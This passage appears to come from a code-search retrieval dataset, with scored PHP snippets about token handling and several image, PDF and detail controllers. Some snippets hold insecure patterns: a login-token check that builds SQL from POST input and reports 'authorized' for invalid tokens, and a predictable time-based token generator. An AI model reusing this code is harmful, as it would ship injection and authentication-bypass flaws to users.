tokenupdate($api_endpoint)\n\t{\n\t\t$token = getAccessToken($api_endpoint, array(\n\t\t\t'grant_type' => 'refresh_code',\n\t\t\t'refresh_code' => $this->setting->visma_refresh_token\n\t\t));\n\t\tif (isset($token->refresh_token)) {\n\t\t\t$this->visma_model->update_access_data(['visma_access_token' => $token->access_token, 'visma_refresh_token' => $token->refresh_token, 'user_ID' => $this->user_ID]);\n\t\t}\n\t}", "title": "" }, { "docid": "0bf3f2154e4e7e9c0e3dea9656038a6e", "score": "0.52430266", "text": "public function setServerTokenTtl ( $consumer_key, $token, $token_ttl )\n\t{\n\t\tif ($token_ttl <= 0)\n\t\t{\n\t\t\t// Immediate delete when the token is past its ttl\n\t\t\t$this->deleteServerToken($consumer_key, $token, 0, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Set maximum time to live for this token\n\t\t\t\n //\n $sql = \"BEGIN SP_SET_SERVER_TOKEN_TTL(:P_TOKEN_TTL, :P_CONSUMER_KEY, :P_TOKEN, :P_RESULT); END;\";\n\n // parse sql\n $stmt = oci_parse($this->conn, $sql) or die ('Can not parse query');\n\n // Bind In and Out Variables\n oci_bind_by_name($stmt, ':P_TOKEN_TTL', $token_ttl, 40);\n oci_bind_by_name($stmt, ':P_CONSUMER_KEY', $consumer_key, 255);\n oci_bind_by_name($stmt, ':P_TOKEN', $token, 255);\n oci_bind_by_name($stmt, ':P_RESULT', $result, 20); \n\n //Execute the statement\n oci_execute($stmt);\n // \n\t\t}\n\t}", "title": "" }, { "docid": "5dd8ad206e0e2f25d8e1a6727aaddc58", "score": "0.52401686", "text": "function checkEntrpTokenExpiration()\n{\n\t$resp= array();\n\t$data= array();\n\t$token = validate_input($_POST['entrpToken']);\n\tif(isset($token))\n\t{\n\t\t$qry=\"SELECT * FROM client_login_tokens WHERE client_token='\".$token.\"' AND status=1\";\n\t\t$res=getData($qry);\n\t\t$count_res=mysqli_num_rows($res); \n\t\tif($count_res==1)\n\t\t{\n\t\t\twhile($row=mysqli_fetch_array($res))\n\t\t\t{\n\t\t\t\t$clientid =\t$row['clientid'];\n\t\t\t}\n\t\t\t\n\t\t\t//$resp['msg']\t\t\t\t=\t\"authorized\"; //valid token\n\t\t\t\n\t\t\tif(isset($_SESSION) && !empty($_SESSION)) \n\t\t\t{\n\t\t\t //$resp['msg']\t\t\t\t=\t\"authorized\"; \n\t\t\t $data = fetch_info_from_entrp_login($clientid);\n\t \t\t\n\t \t\tif(!empty($data))\n\t \t\t{\n\t \t\t\tif($data['success'] == 'true')\n\t \t\t\t{\n\t \t\t\t\t$_SESSION['id'] \t\t\t\t= $data['clientid'];\n\t\t\t\t\t\t$_SESSION['firstname'] \t\t= $data['firstname'];\n\t\t\t\t\t\t$_SESSION['lastname'] \t\t= $data['lastname'];\n\t\t\t\t\t\t$_SESSION['login_token'] \t= $token;\n\t\t\t\t\t\t$_SESSION['username'] \t = $data['username']; \n\t\t\t\t\t\t\n\t\t\t\t\t\tupdate_lastlogin_datetime($data['clientid']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$resp['msg']\t\t\t\t=\t\"authorized\";\n\t \t\t\t}\n\t \t\t\telse\n\t \t\t\t{\n\t \t\t\t\t$resp['msg']\t\t\t\t=\t\"unauthorized\"; \n\t \t\t\t}\n\t \t\t}\n\t \t\telse\n\t \t\t{\n\t \t\t\t$resp['msg']\t\t\t\t=\t\"unauthorized\"; \n\t \t\t}\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(!isset($_SESSION))\n\t\t \t\t{\n\t \t\t\tsession_start();\n\t \t\t}\t \t\n\t \t\t\t\n\t \t\t$data = fetch_info_from_entrp_login($clientid);\n\t \t\t\n\t \t\tif(!empty($data))\n\t \t\t{\n\t \t\t\tif($data['success'] == 'true')\n\t \t\t\t{\n\t \t\t\t\t$_SESSION['id'] \t\t\t\t= $data['clientid'];\n\t\t\t\t\t\t$_SESSION['firstname'] \t\t= $data['firstname'];\n\t\t\t\t\t\t$_SESSION['lastname'] \t\t= $data['lastname'];\n\t\t\t\t\t\t$_SESSION['login_token'] \t= $token;\n\t\t\t\t\t\t$_SESSION['username'] \t = $data['username']; \n\t\t\t\t\t\t\n\t\t\t\t\t\tupdate_lastlogin_datetime($data['clientid']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$resp['msg']\t\t\t\t=\t\"authorized\";\n\t \t\t\t}\n\t \t\t\telse\n\t \t\t\t{\n\t \t\t\t\t$resp['msg']\t\t\t\t=\t\"unauthorized\"; \n\t \t\t\t}\n\t \t\t}\n\t \t\telse\n\t \t\t{\n\t \t\t\t$resp['msg']\t\t\t\t=\t\"unauthorized\"; \n\t \t\t}\t \t\t \n\t\t\t}\t\t\t\n\t\t\t \n\t\t} \n\t\telse \n\t\t{\n\t\t\tif(!isset($_SESSION))\n\t \t\t{\n\t \t\tsession_start();\n\t \t\t}\n\t\t\tsession_destroy();\n\t\t\t$resp['msg']\t\t\t\t=\t\"authorized\"; //invalid token\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$resp['msg']\t\t\t\t=\t\"authorized\";\t//invalid token\n\t}\n\t\n\treturn $resp;\n}", "title": "" }, { "docid": "d8cf868ae3f3b2e46157bf85c92fc825", "score": "0.5238154", "text": "function wfc_generateToken(){\n $today = time();\n return $token = sha1( mktime( date( 'H', $today ), 0, 0, date( 'n', $today ), date( 'j', $today ), date( 'Y', $today ) ).$_SERVER['PHP_SELF'] );\n }", "title": "" }, { "docid": "adce42dc9b4df666337f6f7c843d8448", "score": "0.52299213", "text": "public function updateTokens( $id_usr){\n return $this->where('id_usr',$id_usr)->set('token_count','token_count+1',false)->update();\n }", "title": "" }, { "docid": "fbef9823b1fb882659f3b3558b742d96", "score": "0.5214788", "text": "function set_auth_token($data)\r\n\t{\r\n\t\t$this->custom_db->insert_record('temp_cache', array('domain_list_fk' => get_domain_auth_id(), 'type' => 'travelyaari', 'data' => $data, 'created_datetime' => date('Y-m-d H:i:s')));\r\n\t}", "title": "" }, { "docid": "04a48e8c88689357e4ff2ba6837f93fb", "score": "0.52124363", "text": "function eraseExpiredEntries()\r\n{\r\n global $tokenTimeout, $dbconn;\r\n\r\n $time = time();\r\n\t$sql = \"DELETE from tokens where `when` + $tokenTimeout < $time\";\r\n\r\n\ttry {\r\n\t\t$dbconn->query($sql);\r\n\t} catch(PDOException $ex) {\r\n echo \"eraseExpire fehlgeschlagen\";\r\n }\r\n\r\n\t\r\n}", "title": "" }, { "docid": "73853d4a48eeb56c106ff7974283ceb2", "score": "0.52109873", "text": "public function setResetToken()\n {\n $this->password_token = Yii::$app->security->generateRandomString() . '_' . time();\n\n }", "title": "" }, { "docid": "df7dd3bb50e29e0aee972edbb2188fb0", "score": "0.5202633", "text": "protected function _saveToken()\n\t{\n\t\t$this->session->set($this->authName, $this->requestTokens);\n\t}", "title": "" } ]
4418ca8fd32ee00a8381ab94d2ed1da7
path : GET cables/config/photospoteauxerdf/detail
[ { "docid": "e6e310d5cf84602150c50b43c57a3309", "score": "0.6026555", "text": "public function getDetailAction(){\r\n \r\n $file = file_get_contents(__DIR__ . '/../Resources/clientConf/TPhotosPoteauxErdf/detail.yml');\r\n $out = Yaml::parse($file);\r\n \r\n return new JsonResponse($out);\r\n }", "title": "" } ]
[ { "docid": "0af3ebb8af1781ddf84bde26f37eafe5", "score": "0.6268602", "text": "public function detail() {\n $house_id = $this->input->get('id');\n $detail = $this->rh_house->one_detail($house_id);\n if ($detail) {\n if ($detail['animal']) {\n $tmp = explode(',', $detail['animal']);\n $new = array();\n foreach ($tmp as $key => $value) {\n if ($value == 'cat') $new[] = '喵星人';\n elseif ($value == 'dog') $new[] = '汪星人';\n }\n $detail['animal'] = $new;\n }\n\n unset($detail['xy_point']);\n\n // check user has login, if not then cannot show 'popo' and 'phone'\n $email = $this->session->userdata('email');\n if (! $email) {\n $detail['popo'] = '<a href=\"/home/login\">登录可查看</a>';\n if ($detail['phone'])\n $detail['phone'] = '<a href=\"/home/login\">登录可查看</a>';\n }\n else\n $detail['popo'] .= '@corp.netease.com';\n\n // fetch the image file path list\n $detail['imgs'] = array();\n $img_dir = 'data/' . $detail['popo'] . '/' . $detail['ukey'];\n if (is_dir($img_dir)) {\n $dir = dir($img_dir);\n while (($file = $dir->read()) !== false) {\n if ($file !== '.' && $file !== '..')\n $detail['imgs'][] = '/' . $img_dir . '/' . $file;\n }\n $dir->close();\n }\n\n unset($detail['ukey']);\n }\n\n // print_r($detail);\n $this->load->view('detail', array(\n 'detail' => $detail,\n ));\n }", "title": "" }, { "docid": "d734e7ae43601f8ffd56aadf70ed6774", "score": "0.5981759", "text": "public function indexPhoto(){\n $user = $this->_ap_right_check();\n if(!$user){\n return;\n }\n $user_id = $user['id'];\n $this->_genericIndex(\"DynamicPhotos\");\n }", "title": "" }, { "docid": "dc8f3fd3a8e9226a893b6056d7d5aa68", "score": "0.5931398", "text": "function getIndex()\n\t{\n\t \t$set = DataSet::source(Photo::with('Object')); \n\n\t \t$set->link(url('/photo/edit'), '','show'); \n\t \t$set->link(url('/photo/edit'),\"anlegen\", \"TR\"); \n\n\t $set->paginate(10); \n\t\t$set->build();\n\n\t \treturn view('set.photo', compact('set'));\n\t}", "title": "" }, { "docid": "5317ee45a2a0a063d5c72e59434f2616", "score": "0.59287214", "text": "public function index()\n {\n $photo = Photo::with('category')->get();\n return view('backend.photo.index', get_defined_vars());\n }", "title": "" }, { "docid": "72342cf505267daf5efb01a08d381426", "score": "0.5852481", "text": "public function index()\n {\n $id = Auth::id();\n $photo = photo::whereuser_id($id)->first();\n if(is_null($photo))\n {\n return view('home');\n }\n else\n {\n $photo_name = $photo->photo;\n $photo_id = $photo->id;\n //dd($photo_name);\n $photo_url = Storage::disk('dropbox')\n ->getDriver() // `\\League\\Flysystem\\Flysystem` instance\n ->getAdapter() // `\\Spatie\\FlysystemDropbox\\DropboxAdapter` instance\n ->getClient() // `\\Spatie\\Dropbox\\Client` instance\n ->getTemporaryLink('Apps/Demo1610/'.$photo_name);\n //dd($photo_url);\n return view('home',compact('photo_url','photo_id'));\n //return view('home');\n }\n\n }", "title": "" }, { "docid": "f0fe600db2c43ca0a525d26479aaa61a", "score": "0.58468217", "text": "public function getDocumentUrl() {\n Yii::$app->params['uploadUrl'] = Yii::$app->urlManager->baseUrl . '/web/pdf/subproyectos/';\n// return a default image placeholder if your source avatar is not found\n $evidencias = isset($this->evidencias) ? $this->evidencias : null;\n return Yii::$app->params['uploadUrl'] . $evidencias;\n }", "title": "" }, { "docid": "14a77a9af952cc4285e77f89921b96ce", "score": "0.5818747", "text": "public function getDocumentUrl() {\n Yii::$app->params['uploadUrl'] = Yii::$app->urlManager->baseUrl . '/web/pdf/estrategias/';\n// return a default image placeholder if your source avatar is not found\n $evidencias = isset($this->evidencias) ? $this->evidencias : null;\n return Yii::$app->params['uploadUrl'] . $evidencias;\n }", "title": "" }, { "docid": "7192ee9d6497c750062b64652b57f08d", "score": "0.57350737", "text": "public function index()\n {\n // $user_id = auth()->user()->id;\n // $permissions = $this->getPermissions($user_id);\n // $drivers = DriverInformationController::getListDrivers();\n // $type_images = Imagenes::enum_assoc_tipo_doc;\n // $company_id = auth()->user()->company_id;\n // $company = CompanyController::getCompanyByid($company_id);\n\n // return view('admin.images', [\n // 'list_drivers' => $drivers,\n // 'type_images' => $type_images,\n // 'company_name' => ucwords(strtolower($company->company)),\n // 'permissions' => $permissions,\n // ]);\n }", "title": "" }, { "docid": "f32050d592cbdfb60da7260f98cff5a1", "score": "0.5724058", "text": "public function index(){\n //获取语言\n $lang = LANG;\n $data = M('Website_index_images')->where(\"lang='$lang' and used=1\")->order('num asc,id asc')->select();\n foreach($data as $v){\n $description=json_decode($v['description']);\n $v['description'] = array('p1'=>stripslashes($description->p1),'p2'=>stripslashes($description->p2),\n 'p3'=>stripslashes($description->p3),'p4'=>stripslashes($description->p4),\n 'p5'=>stripslashes($description->p5));\n $res[] = $v;\n }\n $device = device();\n $this->assign('device',$device);\n $this->assign('list',$res);\n $this->display();\n\t}", "title": "" }, { "docid": "3a499c23880094b07bbda723079b0977", "score": "0.5722631", "text": "public function loadPreviewDocumentAction()\n {\n $paramId = $this->getRequest()->getParam('id');\n\n $previewDocument = Array();\n $previewDocument[] = Mage::getModel('web2print/api')\n ->getResourceImageUrl($paramId,\n Mage::helper('catalog/image')->getImageConversionProfile('product'), 'Documents',\n '1');\n $previewDocument[] = Mage::getModel('web2print/api')\n ->getResourceImageUrl($paramId,\n Mage::helper('catalog/image')->getImageConversionProfile('product'), 'Documents',\n '2');\n\n $this->getResponse()->setBody(Zend_Json::encode($previewDocument));\n }", "title": "" }, { "docid": "c4da7472c4dc88f1ea25bba2630f994f", "score": "0.5717705", "text": "function indexLaporanPDF()\n {\n $laporans = $this->get_post_data_laporan();\n return view('dynamic_pdf')->with('laporans', $laporans);\n }", "title": "" }, { "docid": "0075b37ac457022c7cb421aca4daf856", "score": "0.5689911", "text": "public function getImageUrl(){\n return Url::to($this->detailDir.$this->pic); \n }", "title": "" }, { "docid": "be4af153cd8d4a1330943efd0c0b9ef9", "score": "0.56796366", "text": "public function getImageDetail(Request $request)\n\t{\n\t\t$image = array();\n\t\tif (Auth::user()->name == \"admin\") {\n\t\t\t$image = DB::table('images')\n\t\t\t\t->where('id', $request->id)\n\t\t\t\t->get();\n\t\t} else {\n\t\t\t$image = DB::table('images')\n\t\t\t\t->where('id', $request->id)\n\t\t\t\t->where('created_by', '=', Auth::user()->name)\n\t\t\t\t->get();\n\t\t}\n\n\t\tif (count($image) > 0) {\n\t\t\treturn view('admincp.detailImage', ['image' => $image]);\n\t\t} else {\n\t\t\treturn redirect()->intended('/admincp');\n\t\t}\n\t}", "title": "" }, { "docid": "5b3efc1ddfc5e5c42fbe1a4cdfdacbfa", "score": "0.5676057", "text": "public function show(){\n\t\t // Default size is preview\n if(!empty($_GET['size'])) $size = $_GET['size'];\n else $size = 'preview';\n\n /** @var Photo $pobj */\n $pobj = Photo::fetch($_GET['id']);\n if($pobj !== false && !$pobj->temporary && $pobj->data->status == 'saved') $pobj->show($size);\n else $this->zajlib->reroute('__error', ['system_api_photo_show', []]);\n\t\t}", "title": "" }, { "docid": "31a7f411ea9724a7200684d176d4727b", "score": "0.56717813", "text": "public function index()\n {\t\n \t$photos=Albome::OrderBy('id', 'DESC')->get([\n 'name_'.app()->getLocale().' as name',\n 'img',\n 'id'\n ]);\n\n foreach ($photos as $albom) {\n $albom->photosesia;\n }\n //return $photos;\n return view(\"photosesia.dashbord\",['photos'=>$photos]);\n \n }", "title": "" }, { "docid": "a5483c992b5081d25efaff558b4e5905", "score": "0.5665997", "text": "function getViewPhotoDetail($photo_uid, $view = '') {\n\t\t// Get Smarty Instance\n \t$smartyInstance = tx_cwtcommunity_lib_common::getSmartyInstance();\n $conf = tx_cwtcommunity_lib_common::getConfArray();\n $tplPath = tx_cwtcommunity_lib_common::getTemplatePath($conf['template_photo_detail']);\n \n $form_action_report = tx_cwtcommunity_lib_common::getPageLink($conf['pid_gallery'],'', array(tx_cwtcommunity_lib_constants::CONST_ACTION => tx_cwtcommunity_lib_constants::ACTION_GALLERY_SHOW_PHOTO_REPORT, tx_cwtcommunity_lib_constants::CONST_PHOTO_UID => $photo_uid));\n\t $form_action_detail = tx_cwtcommunity_lib_common::getPageLink($conf['pid_gallery'],'', array(tx_cwtcommunity_lib_constants::CONST_ACTION => tx_cwtcommunity_lib_constants::ACTION_GALLERY_SHOW_PHOTO_DETAIL, tx_cwtcommunity_lib_constants::CONST_PHOTO_UID => $photo_uid));\n \n $photo = self::getPhoto($photo_uid);\n\t $photo['pic'] = self::getPhotoURI($photo['uid'], $conf);\n\t\t$album = self::getAlbum($photo['album_uid']);\n\t\t$comments = self::getComments($photo['uid']);\n \n $smartyInstance->assign('form_action_report', $form_action_report);\n $smartyInstance->assign('form_action_detail', $form_action_detail);\n $smartyInstance->assign('photo', $photo);\n $smartyInstance->assign('album', $album);\n $smartyInstance->assign('comments', $comments);\n $smartyInstance->assign('view', $view);\n \n $content .= $smartyInstance->display($tplPath);\n return $content;\n\t}", "title": "" }, { "docid": "ae1f674fb17fa7d4da88f36858da7c52", "score": "0.56642586", "text": "public function logo_get()\n {\n $x=$this->admin_model->get_setting_logo();\n if($x) { $x=base_url().'uploads/'.$x; $this->response($x, 200); }\n else{ $this->response('', 200); }\n }", "title": "" }, { "docid": "bcb4809713e51e3cdef2a1d9a1ef537e", "score": "0.56537807", "text": "public function index()\n {\n //\n $objeto= SeccionDocumentoPdf::all()->toArray();\n\n\n return view('adm.seccion_documento_pdfs.listar', ['variable' => $objeto, 'nombreDeAccion' => 'Lista de documentos']);\n }", "title": "" }, { "docid": "d1f99a923c602bb0e2d12acc6890ac8e", "score": "0.55816895", "text": "function apiDrinksImages()\t\n\t{\n\t\t$data = $this->model->model3D_info();\t\t\t\t\t\t\n\t\t$this->load->view('view3DAppTest_2', $data);\t//ive removed the images I used in the lab from the folder so this won't be able to display the images it used...\n\t}", "title": "" }, { "docid": "61406907e4bb1d34f4851523a49eaecd", "score": "0.55644524", "text": "public function listpdAction() \n {\n $id = (int) $this->params()->fromRoute('id', 0);\n if ($id > 0)\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d=new AlbumTable($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost(); \n $datos = $d->getGeneral1(\"select idInc from n_incapacidades_pro where id = \".$id); \n $idInc = $datos['idInc']; \n $d->modGeneral( \"delete from n_incapacidades_pro where id=\".$id);\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'a/'.$idInc);\n } \n }", "title": "" }, { "docid": "d44af3118e3631c9373467f2ac5092c7", "score": "0.5562446", "text": "public function details($cat='',$prod_name='',$style='',$color=''){\n\t\n\t$data = '';\n\t$this->data['title']=\"\";\n\t\n\tif($style != '')\n\t{\n\t\t$this->data['prod_arr'] = $this->product_model->get_product_detail($style);\t\n\t\t$this->data['size'] = $this->product_model->get_size($style,$color);\n\t\t$this->data['prod_attr'] = $this->product_model->get_prod_attributes($style);\n\t\t$this->data['color'] = $this->product_model->get_color($style);\n\t\t\n\t\t$count = sizeof($this->data['color']);\n\t\t$this->data['count_color'] = $count;\n\t}\t\n\t$this->data['prod_image_arr'] = $this->product_model->get_prod_images($style,$color);\n\t//echo \"<pre>\";\n\t//var_dump($this->data['prod_image_arr']);\n\t//die();\n\t//echo \"<pre>\";\n\t//var_dump($this->data['size']);\n\t//die();\n\t$view_file_name = 'product_detail_view';\n\t$this->data['view_file_name'] = $view_file_name;\n\t$this->template->load_root_view($view_file_name , $this->data);\n\n}", "title": "" }, { "docid": "46bc1cc617af1c1dd3cded0ce4f5c751", "score": "0.55351", "text": "public function actionGetPdf($url){\n \n// $mPDF1 = Yii::app()->ePdf->mpdf();\n// $mPDF1->WriteHTML(\"<h1> Hello world</h1>\");\n// $mPDF1->WriteHTML(\"hello\");\n// $mPDF1->Output();\n \n $menuItem = MenuItems::model()->findByPk($url);\n if($menuItem === null || $menuItem->type!=MenuItems::PRODUCT_MENU_ITEM_TYPE)\n throw new CHttpException(404, 'Запрашиваемая страница не существует. Пункт меню не найден.');\n \n //$pageData = file_get_contents('');\n $productModel = Products::model()->findByPk($menuItem->menuItemsContents[0]->page_id);\n \n if($productModel===null)\n throw new CHttpException(404, 'Запрашиваемая страница не существует. Страница товара не найдена.');\n \n $makerModel = Makers::model()->findByPk($productModel->maker);\n //$contactModel = Regions::model()->findByPk(Yii::app()->params['regionId'])->contact;\n $region_id = Yii::app()->params['regionId'];\n if(!$region_id)\n $region_id = 21; // Smolensk ID !WARNING. Это отстойный код, нужно сделать рефакторинг.\n \n $contactModel = Contacts::model()->findByPk($region_id);\n $stylesheet = 'body {position:relative; font-size:12px; width:100%;}\n .logoWrapper{width:200px; float:left;}\n .logo{width:200px; float:left;}\n .adressWrapper{width:400px; float:right; font-size:11px;}\n .product_data_wrapper{width:100%;float:left;}\n .product_header{width:100%;float:left; margin:20px 0;}\n .maker_image{max-height:25px; margin-right:10px; width:20%; float:left;}\n .product_name{margin:0px; padding:0px;}\n .product_image_wrapper {width:100%;float:left; text-align:center;}\n .product_image{width:70%;}\n .product_feature {width:100%;float:left;}\n table{\n page-break-inside: avoid;\n }\n .product_feature h3 {}';\n $pageData='\n <html>\n <head>\n </head>\n <body>\n <div class=\"logoWrapper\">\n <img class=\"logo\" src=\"/images/logo.png\">\n </div>\n <div class=\"adressWrapper\">'.\n $contactModel->address.'<br>'.\n $contactModel->telephone.'<br>'.\n $contactModel->work_time.'<br>'.\n $contactModel->email.'<br>'.\n '</div>\n <div class=\"product_data_wrapper\">\n <div class=\"product_header\">\n <img class=\"maker_image\" src=\"'.$makerModel->logo.'\"><h2 class=\"product_name\">'.$productModel->name.'</h2>\n </div>\n <div class=\"product_image_wrapper\">\n <img class=\"product_image\" src=\"'.$productModel->image.'\">\n </div>\n <div class=\"product_feature\">\n '.$productModel->review.'\n </div>\n <div class=\"product_feature\">\n '.$productModel->features.'\n </div>\n </div>\n </body>\n </html>';\n $mPDF1 = Yii::app()->ePdf->mpdf();\n $mPDF1->WriteHTML($stylesheet, 1);\n $mPDF1->WriteHTML($pageData, 2);\n $mPDF1->Output($menuItem->alias.'(www.lbr.ru).pdf','D');\n echo($pageData);\n }", "title": "" }, { "docid": "80884e02742f699f1bee2bee229aa2b2", "score": "0.5528213", "text": "public function logo_get()\n {\n $x=$this->teacher_model->get_setting_logo();\n if($x) { $x=base_url().'uploads/'.$x; $this->response($x, 200); }\n else{ $this->response('', 200); }\n }", "title": "" }, { "docid": "d19a69b1ff0f9d5490b2d0734e403e78", "score": "0.55065554", "text": "function apiLoadImage()\t\n\t{\n\t $data = $this->model->dbGetBrand();\n\t $this->load->view('viewDrinks', $data);\t//ive removed the images I used in the lab from the folder so this won't be able to display the images it used...\n\t}", "title": "" }, { "docid": "0c28e7b2f40131f483fe18de4912eb40", "score": "0.5500159", "text": "public function getdetailimagesAction(){\n $post = $this->getRequest()->getPost();\n $productId = $post['productId'];\n $attrId = $post['attrId'];\n $optionId = $post['optionVal'];\n $isCatView = $post['isCatView'];\n\n if($post['twoAttr']=='true'){\n $primaryAttrId= $post['primaryAttrId'];\n }\n if($post['twoAttr']=='true'){\n $primaryOptionId = $post['primaryOptionId'];\n }\n\n if(!empty($productId)){\n //Get product attribute configurable attributes.\n $product=Mage::getModel('catalog/product')->load($productId);\n\n $allowAttributes=$product->getTypeInstance(true)->getConfigurableAttributes($product);\n foreach($allowAttributes as $attribute){\n if($attribute->getProductAttribute()->getAttributeId()==$attrId){\n $attributeCode=$attribute->getProductAttribute()->getAttributeCode();\n $prices = $attribute->getPrices();\n foreach ($prices as $optionPrice){\n if($optionPrice['value_index']==$optionId){\n $selctedProdPrice = $this->_preparePrice($optionPrice['pricing_value'],$optionPrice['is_percent'],$product->getFinalPrice());\n }\n }\n break;\n }\n }\n $formatedSelectedProductPrice = Mage::helper('core')->currency($selctedProdPrice, true, false);\n $conf = Mage::getModel('catalog/product_type_configurable')->setProduct($product);\n if($post['twoAttr']=='false'){\n $col = $conf->getUsedProductCollection()\n ->addAttributeToFilter($attributeCode, $optionId)\n ->addAttributeToSelect('image')\n ->addAttributeToSelect($attributeCode)\n ->addFilterByRequiredOptions();\n }else{\n foreach($allowAttributes as $attribute){\n if($attribute->getProductAttribute()->getAttributeId()==$primaryAttrId){\n $primaryAttributeCode=$attribute->getProductAttribute()->getAttributeCode();\n $prices = $attribute->getPrices();\n foreach ($prices as $optionPrice){\n if($optionPrice['value_index']==$optionId){\n $selctedProdPrice = $this->_preparePrice($optionPrice['pricing_value'],$optionPrice['is_percent'],$product->getFinalPrice());\n }\n }\n break;\n }\n }\n //Get product price\n $formatedSelectedProductPrice = Mage::helper('core')->currency($selctedProdPrice, true, false);\n $col = $conf->getUsedProductCollection()\n ->addAttributeToFilter($attributeCode, $optionId)\n ->addAttributeToFilter($primaryAttributeCode, $primaryOptionId)\n ->addAttributeToSelect('image')\n ->addAttributeToSelect($attributeCode)\n ->addAttributeToSelect($primaryAttributeCode)\n ->addFilterByRequiredOptions();\n }\n if($col->count()>0){\n foreach($col as $colItem){\n $simpleProduct = Mage::getModel('catalog/product')->load($colItem->getId());\n if($isCatView){\n $html= $simpleProduct->getImageUrl();\n $productId = $simpleProduct->getEntityId();\n }else{\n $html=$this->getLayout()->createBlock('catalog/product_view_media')->setData('product', $simpleProduct)\n ->setTemplate('catalog/product/view/media.phtml')\n ->toHtml();\n }\n }\n }else{\n $html = '';\n }\n $result = array('success'=>'true','html'=>$html,'priceval'=>$formatedSelectedProductPrice, 'productId' => $productId);\n }else{\n $result = array('success'=>'false');\n }\n $this->getResponse()->setBody(json_encode($result));\n }", "title": "" }, { "docid": "4a09a3b549e87700e60da8b8451c2b4e", "score": "0.549454", "text": "public function index()\n {\n $images=Image::all();\n\n return $this->showAll('system.image.index',$images);\n }", "title": "" }, { "docid": "7a51cf0aa2c29c338742edf62c9f4434", "score": "0.5491389", "text": "public function view_list(Request $request)\n {\n $id = $request->id;\n $image_arr = [];\n $lang = LaravelLocalization::getCurrentLocale();\n $lang_full = LaravelLocalization::getCurrentLocaleRegional();\n\n foreach ($id as $item_id) {\n $images = DB::table('apimo_properties')\n ->where('property_id', $item_id)\n ->value('pictures');\n\n $city_id = DB::table('apimo_properties')\n ->where('property_id', $item_id)\n ->value('city');\n\n $subtype_id = DB::table('apimo_properties')\n ->where('property_id', $item_id)\n ->value('subtype');\n\n $sell_type = DB::table('apimo_properties')\n ->where('property_id', $item_id)\n ->value('category');\n\n $url = DB::table('apimo_pictures')\n ->whereIn('picture_id', explode(',', $images))\n ->orderBy('rank', 'asc')\n ->pluck('url');\n\n $city = DB::table('apimo_city')\n ->where('city_id', $city_id)\n ->value('name');\n\n $subtype = DB::table('apimo_property_subtype')\n ->where('reference', $subtype_id)\n ->where('locale', $lang_full)\n ->value('value');\n\n $type = ($sell_type == 1) ? 'vente' : 'location';\n $url_property = '/' . $lang . '/immobilier-' . $type . '-' . mb_strtolower(str_replace(\" \", \"-\", $subtype)) . '-' . mb_strtolower(str_replace(\" \", \"-\", $city)) . '/' . $item_id;\n $image_arr[$item_id] = [\n 'url' => $url,\n 'link' => $url_property\n ];\n }\n return response()->json($image_arr);\n }", "title": "" }, { "docid": "a844f2aac1ed5bc256c00296e62a5750", "score": "0.54888666", "text": "public function index($id)\n {\n $realestate_id=$id;\n $images=Gallery::where('realestate_id',$id)->get();\n return view('admin.realestate.photo',compact('realestate_id','images'));\n }", "title": "" }, { "docid": "71e9057aa57846f844297b3b3b13669e", "score": "0.54775757", "text": "public function index()\n {\n $photos = Photo::all();\n $categorys = Category::all();\n\n return view('backOffice.pages.pictures', compact('photos', 'categorys'));\n }", "title": "" }, { "docid": "30eb64da32d8184257e0ab96ab95a60c", "score": "0.54744905", "text": "public function getDashImage_get(){\n\t\textract($_GET);\n\t\t$result = $this->settings_model->getSettingDetails($setting_name);\n\t\treturn $this->response($result);\t\t\t\n\t}", "title": "" }, { "docid": "90409645956cb605c6c63080c7f81940", "score": "0.5462714", "text": "function show_pdf($id){\n\t\t$data = array();\n\t\t$data['rs_surat'] = $this->db->query(\t\"SELECT a.no_surat,b.nama,b.nomor_induk,IF(b.kehadiran_status = 'hadir','blank.jpg',b.ttd_image) as ttd,a.isi_surat \".\n\t\t\t\t\t\t\t\t\t\t\t\"FROM surat_keluar a \".\n\t\t\t\t\t\t\t\t\t\t\t\"LEFT JOIN pengguna b \".\n\t\t\t\t\t\t\t\t\t\t\t\"ON a.pemeriksa_user = b.id \".\n\t\t\t\t\t\t\t\t\t\t\t\"WHERE a.id = $id\");\n\t\t\n\t\t$data['isi_surat'] = $this->db->query(\"SELECT isi_surat FROM surat_keluar WHERE id = $id\")->row()->isi_surat;\n\t\t$this->load->view('surat/pdf_report',$data);\n\t}", "title": "" }, { "docid": "b94ba2e65f036a61009354da1729b05b", "score": "0.54614425", "text": "public function index()\n {\n \t$photographers = Essay_photographer::all();\n \treturn view('admin.ensaios.fotografos.index')->with(['photographers' => $photographers]);\n }", "title": "" }, { "docid": "67afad1f82c3996aae47ee7513609a38", "score": "0.54560465", "text": "public function index()\n {\n $photos = Photo::orderBy('created_at', 'DESC')->paginate();\n\n return view('admin.educations.photos.index', compact('photos'));\n }", "title": "" }, { "docid": "bdfddd6c86082638ef1252538efaacc7", "score": "0.5454678", "text": "public function index()\n {\n $data['properti'] = Property::all();\n $data['gambar'] = PropertyImage::all();\n return view('admin.property.image.index', $data);\n }", "title": "" }, { "docid": "f0bdb721fbc7bfd99a54b3842a63fddb", "score": "0.5447996", "text": "public function actionViewdocument(){ \n $signature_request_id = Yii::$app->request->get('rid'); //correct value should be here.\n $client = new HelloSign\\Client($this->api_key);\n $response = $client->getFiles($signature_request_id); \n \n $this->view->params['file_url'] = $response->file_url;\n \n $this->layout = 'atlas-signed-document';\n return $this->render('index'); \n }", "title": "" }, { "docid": "b6a1d02f7848ab3b29c8547ddec32728", "score": "0.5443132", "text": "public function indexAction() {\n\t\ttry {\n\n\t\t\t$auth = Zend_Auth::getInstance();\n\t\t\tif ($auth->hasIdentity()) {\n\t\t\t // l'identité existe ; on la récupère\n\t\t\t $this->view->identite = $auth->getIdentity();\n\t\t\t $ssUti = new Zend_Session_Namespace('uti');\n\t\t\t $this->view->idUti = $ssUti->idUti;\n\t\t\t\t//récupère les photos et les géolocalisations\n\t\t\t $site = new Flux_Site();\n\t\t\t $db = $site->getDb($this->dbNom);\n\t\t\t\t$dbUGD = new 